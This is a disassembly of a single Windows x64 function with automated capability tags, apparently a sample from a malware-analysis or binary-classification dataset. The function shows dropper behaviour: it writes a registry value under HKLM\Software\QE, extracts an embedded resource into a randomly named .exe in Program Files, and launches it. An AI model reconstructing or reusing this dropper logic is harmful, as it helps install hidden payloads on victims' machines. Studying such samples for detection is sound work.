Function at 0x140001000
Capabilities:
Create directory
Create process on windows
Extract resource via kernel32 functions
Get common file path
Get program files directory
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r12
push r15
lea rbp, [rsp - 0x480]
sub rsp, 0x580
mov rax, qword [0x140019008]
xor rax, rsp
mov qword [rbp + 0x470], rax
xor ecx, ecx
call fcn.1400052c0
mov rcx, rax
call fcn.140005224
xor edx, edx
lea rcx, [rbp + 0x260]
mov r8d, 0x208
call fcn.1400026e0
mov r8d, 0x104
lea rdx, [rbp + 0x260]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp - 0x78]
mov r12d, 1
mov qword [rsp + 0x40], rax
lea r9, [0x1400168d4]
lea rax, [rsp + 0x50]
mov dword [rbp - 0x78], r12d
mov qword [rsp + 0x38], rax
lea rdx, str.SoftwareQE
xor r15d, r15d
xor r8d, r8d
mov qword [rsp + 0x30], r15
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r12d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x1400010cc
xor r9d, r9d
lea rdx, [0x1400168f0]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140001475
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x260]
mov dword [rsp + 0x28], 0x208
lea rdx, [0x140016900]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140001119
xor r9d, r9d
lea rdx, [0x140016920]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140001475
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x5a0], rbx
mov qword [rsp + 0x5a8], rsi
mov qword [rsp + 0x5b0], rdi
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
lea rcx, [rbp + 0x50]
mov r8d, 0x208
call fcn.1400026e0
xor r9d, r9d
lea rdx, [rbp + 0x50]
xor ecx, ecx
lea r8d, [r9 + 0x26]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
call fcn.1400051f8
movaps xmm0, xmmword [str._0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_]
mov r8d, eax
movaps xmm1, xmmword [0x140016860]
mov eax, 0x66666667
imul r8d
movaps xmmword [rbp - 0x40], xmm0
movaps xmm0, xmmword [0x140016870]
movaps xmmword [rbp - 0x30], xmm1
movaps xmm1, xmmword [0x140016880]
movzx eax, word [0x1400168d0]
sar edx, 2
mov ecx, edx
mov word [rbp + 0x40], ax
shr ecx, 0x1f
mov eax, 2
add edx, ecx
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [0x140016890]
movaps xmmword [rbp - 0x10], xmm1
movaps xmm1, xmmword [0x1400168a0]
lea ecx, [rdx + rdx*4]
movaps xmmword [rbp], xmm0
movaps xmm0, xmmword [0x1400168b0]
add ecx, ecx
sub r8d, ecx
movaps xmmword [rbp + 0x10], xmm1
movaps xmm1, xmmword [0x1400168c0]
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x30], xmm1
lea edi, [r8 + 4]
movsxd rcx, edi
inc rcx
mul rcx
mov rbx, rax
mov rax, 0xffffffffffffffff
cmovo rbx, rax
mov rcx, rbx
call fcn.1400014d0
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.1400026e0
movsxd rdi, edi
mov rbx, r15
test rdi, rdi
jle 0x140001260
call fcn.1400051f8
mov ecx, eax
mov eax, 0x80402011
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
cdqe
movzx ecx, word [rbp + rax*2 - 0x40]
mov word [rsi + rbx*2], cx
inc rbx
cmp rbx, rdi
jl 0x140001233
mov edx, r12d
lea rcx, [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
lea rcx, [rbp - 0x70]
xor r8d, r8d
mov edx, r12d
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
lea rax, [rbp - 0x70]
mov dword [rsp + 0x58], 0x18
lea r8, [0x140016930]
mov qword [rsp + 0x60], rax
mov edx, 0x104
mov dword [rsp + 0x68], r12d
lea rcx, [rbp + 0x50]
call fcn.14000523c
lea rcx, [rbp + 0x50]
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
jne 0x1400012e6
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400012e6
xor r9d, r9d
lea rdx, [0x140016948]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x14000145d
mov r8, rsi
lea rcx, [rbp + 0x50]
mov edx, 0x104
call fcn.14000523c
lea r8, str..exe
mov edx, 0x104
lea rcx, [rbp + 0x50]
call fcn.14000523c
lea r8, [0x140016968]
mov edx, 0x81
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14000145d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
je 0x14000145d
mov rcx, rax
mov qword [rsp + 0x5b8], r14
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x140001455
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0x50]
mov dword [rsp + 0x28], r15d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp - 0x74]
mov qword [rsp + 0x20], r15
mov rcx, rax
mov r8d, ebx
mov rdx, r14
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
test eax, eax
je 0x14000144f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 8], xmm0
lea rax, [rsp + 0x70]
mov dword [rbp - 4], r12d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x50]
lea rax, [rbp - 0x40]
mov word [rbp], r12w
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor edx, edx
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], r15d
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001455
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x5b8]
mov rsi, qword [rsp + 0x5a8]
mov rbx, qword [rsp + 0x5a0]
mov rdi, qword [rsp + 0x5b0]
xor eax, eax
mov rcx, qword [rbp + 0x470]
xor rcx, rsp
call fcn.1400014b0
add rsp, 0x580
pop r15
pop r12
pop rbp
ret